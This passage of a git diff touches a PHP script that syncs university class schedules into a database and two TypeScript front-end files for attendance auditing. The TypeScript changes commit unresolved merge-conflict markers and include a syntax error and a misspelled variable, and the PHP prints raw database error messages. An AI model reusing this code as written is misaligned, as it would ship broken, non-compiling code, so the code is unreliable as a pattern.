SELECT * FROM fi_horario($dia_hoy, '".$row["data"]["HoraInicio"]."','".$row["data"]["HoraFin"]."','" + .$row["data"]["ClaveDependencia"]."','" + .$row["data"]["ClaveCarrera"]."','" + .$row["data"]["NombreMateria"]."','" + .$row["data"]["ClaveMateria"]."','" + .$row["data"]["ClaveProfesor"]."','" + .$row["data"]["NombreProfesor"]."','" + .$row["data"]["CorreoElectronico"]."','" + .$row["data"]["Grupo"]."'," + .$row["data"]["IdEspacio"]."," + .$row["per"].");"; + if($row["data"]["EsMateriaPorAsignacion"]){ echo " ***Asignacion directa***";} + }else{ + $horario_new_rs = $db->querySingle('SELECT * FROM fi_horario(:hoy, :ini, :fin, :dep, :carr, :nom_mat, :cve_mat, :cve_prof, :nom_prof, :correo, :gpo, :espacio, :periodo)', + [":hoy"=>$dia_hoy, + ":ini"=>$row["data"]["HoraInicio"], + ":fin"=>$row["data"]["HoraFin"], + ":dep"=>$row["data"]["ClaveDependencia"], + ":carr"=>$row["data"]["ClaveCarrera"], + ":nom_mat"=>$row["data"]["NombreMateria"], + ":cve_mat"=>$row["data"]["ClaveMateria"], + ":cve_prof"=>$row["data"]["ClaveProfesor"]==""?"000000":$row["data"]["ClaveProfesor"], + ":nom_prof"=>$row["data"]["NombreProfesor"], + ":correo"=>$row["data"]["CorreoElectronico"], + ":gpo"=>$row["data"]["Grupo"], + ":espacio"=>$row["data"]["IdEspacio"], + ":periodo"=>$row["per"] + ] + ); + //echo $horario_new_rs["fi_horario"]."
"; + if($horario_new_rs["fi_horario"] > 0){ + if($row["data"]["EsMateriaPorAsignacion"]){ + $matasig_rs = $db->querySingle('SELECT * FROM fi_materia_asignacion(:hor,:mat,:carr, :prof)', + [":hor"=>$horario_new_rs["fi_horario"], + ":mat"=>$row["data"]["NombreMateria"], + ":carr"=>$row["data"]["Carrera"], + ":prof"=>$row["data"]["NombreProfesor"] + ] + ); + } + + $log_desc .="SELECT * FROM fi_horario($dia_hoy, '".$row["data"]["HoraInicio"]."','".$row["data"]["HoraFin"]."','" + .$row["data"]["ClaveDependencia"]."','" + .$row["data"]["ClaveCarrera"]."','" + .$row["data"]["NombreMateria"]."','" + .$row["data"]["ClaveMateria"]."','" + .$row["data"]["ClaveProfesor"]."','" + .$row["data"]["NombreProfesor"]."','" + .$row["data"]["CorreoElectronico"]."','" + .$row["data"]["Grupo"]."'," + .$row["data"]["IdEspacio"]."); [ID=".$horario_new_rs["fi_horario"]."] ##"; + } + + } + } + if(!$debug && !empty($log_desc)){ + $log = new LogCambios(__DIR__."/log/"); + $log->appendLog($log_desc); + } + + } + $stmt = null; // cierra conexion + + if($debug) { + echo "




"; + usort($elementos_sgu_total, 'compareByHash'); + usort($elementos_bd_total, 'compareByHash'); + + echo ""; + echo ""; + echo ""; + echo "
"; + echo "
SGU [".count($elementos_sgu_total)."]
"; + foreach($elementos_sgu_total as $sgu){ + echo $sgu["hash"]."
"; + } + echo "
"; + echo "
BD [".count($elementos_bd_total)."]
"; + foreach($elementos_bd_total as $sgu){ + echo $sgu["hash"]." [".$sgu["horario_id"]."]
"; + } + echo "
"; + }else{ + $pdo->commit(); + echo "Commit"; + } +} catch(PDOException $e) { + echo "Error"; + "ERROR BD! ".$e->getMessage(); + $pdo->rollBack(); + if(!$debug){ + $log = new LogCambios(__DIR__."/log/"); + $log->appendLog("ERROR BD! ".$e->getMessage()); + } + print_r($e->getMessage()); +} catch(Exception $e2){ + echo "Error"; + print_r($e2->getMessage()); +} + + +?> \ No newline at end of file diff --git a/ts/auditoría.ts b/ts/auditoría.ts index 7fb0f50..20d5dfb 100644 --- a/ts/auditoría.ts +++ b/ts/auditoría.ts @@ -77,7 +77,10 @@ $('div.modal#cargando').modal({ const store = reactive({ loading: false, +<<<<<<< HEAD +======= perido: null as Periodo | null, +>>>>>>> 7688f1aac1824c234bc5f19b154e9ad1f4808d4f current: { comentario: '', clase_vista: null, @@ -217,8 +220,13 @@ const store = reactive({ registro_fecha_justificacion: Date; }; try { +<<<<<<< HEAD + const res = await fetch('action/action_justificar.php', { + method: 'PUT', +======= const res = await fetch('action/justificar.php', { method: 'POST', +>>>>>>> 7688f1aac1824c234bc5f19b154e9ad1f4808d4f headers: { 'Content-Type': 'application/json' }, @@ -238,6 +246,8 @@ const store = reactive({ store.current.justificada.justificador_rol = data.justificador_rol store.current.justificada.registro_fecha_justificacion = data.registro_fecha_justificacion }, +<<<<<<< HEAD +======= async justificarBloque(fecha: Date, bloques: Array, justificacion: string) { if (bloques.length === 0) { alert('No se ha seleccionado ningún bloque'); @@ -273,6 +283,7 @@ const store = reactive({ alert('Error al justificar'); } }, +>>>>>>> 7688f1aac1824c234bc5f19b154e9ad1f4808d4f registros: { data: [] as Registro[], async fetch(fecha?: Date, fecha_inicio?: Date, fecha_fin?: Date) { @@ -320,7 +331,11 @@ const store = reactive({ if one of the filters is null, then it is not relevant */ +<<<<<<< HEAD + const filters = Object.keys(store.filters).filter((filtro) => store.filters[filtro] !== null || store.filters[filtro]?.length > 0 ) +======= const filters = Object.keys(store.filters).filter((filtro) => store.filters[filtro] !== null || store.filters[filtro]?.length > 0) +>>>>>>> 7688f1aac1824c234bc5f19b154e9ad1f4808d4f return this.data.filter((registro: Registro) => { return filters.every((filtro) => { switch (filtro) { @@ -401,7 +416,10 @@ type Profesor = { } createApp({ store, +<<<<<<< HEAD +======= messages: [] as Array<{ title: string, text: string, type: string, timestamp: string }>, +>>>>>>> 7688f1aac1824c234bc5f19b154e9ad1f4808d4f get clase_vista() { return store.current.clase_vista }, @@ -418,6 +436,17 @@ createApp({ profesores: [] as Profesor[], async mounted() { $('div.modal#cargando').modal('show'); +<<<<<<< HEAD + + // await store.registros.fetch() + await store.facultades.fetch() + await store.estados.fetch() + await store.bloques_horario.fetch() + await store.filters.switchFechas() + this.profesores = await (await fetch('action/action_profesor.php')).json() as Profesor[]; + + $('div.modal#cargando').modal('hide'); +======= try { // await store.registros.fetch() @@ -435,5 +464,6 @@ createApp({ finally { $('div.modal#cargando').modal('hide'); } +>>>>>>> 7688f1aac1824c234bc5f19b154e9ad1f4808d4f } }).mount('#app') diff --git a/ts/faltas.ts b/ts/faltas.ts index 9e2f04e..e655720 100644 --- a/ts/faltas.ts +++ b/ts/faltas.ts @@ -23,7 +23,12 @@ const app = createApp({ }, async refresh() { +<<<<<<< HEAD + alert(`Facultad: ${filter.facultad} - Profesor: ${filter.profesor} - Porcentaje: ${filter.porcentaje}%` + if(filter.facultad == -1 || filter.porcetaje < 10) { +======= if(filter.facultad == -1 || filter.porcentaje < 10) { +>>>>>>> 7688f1aac1824c234bc5f19b154e9ad1f4808d4f return; }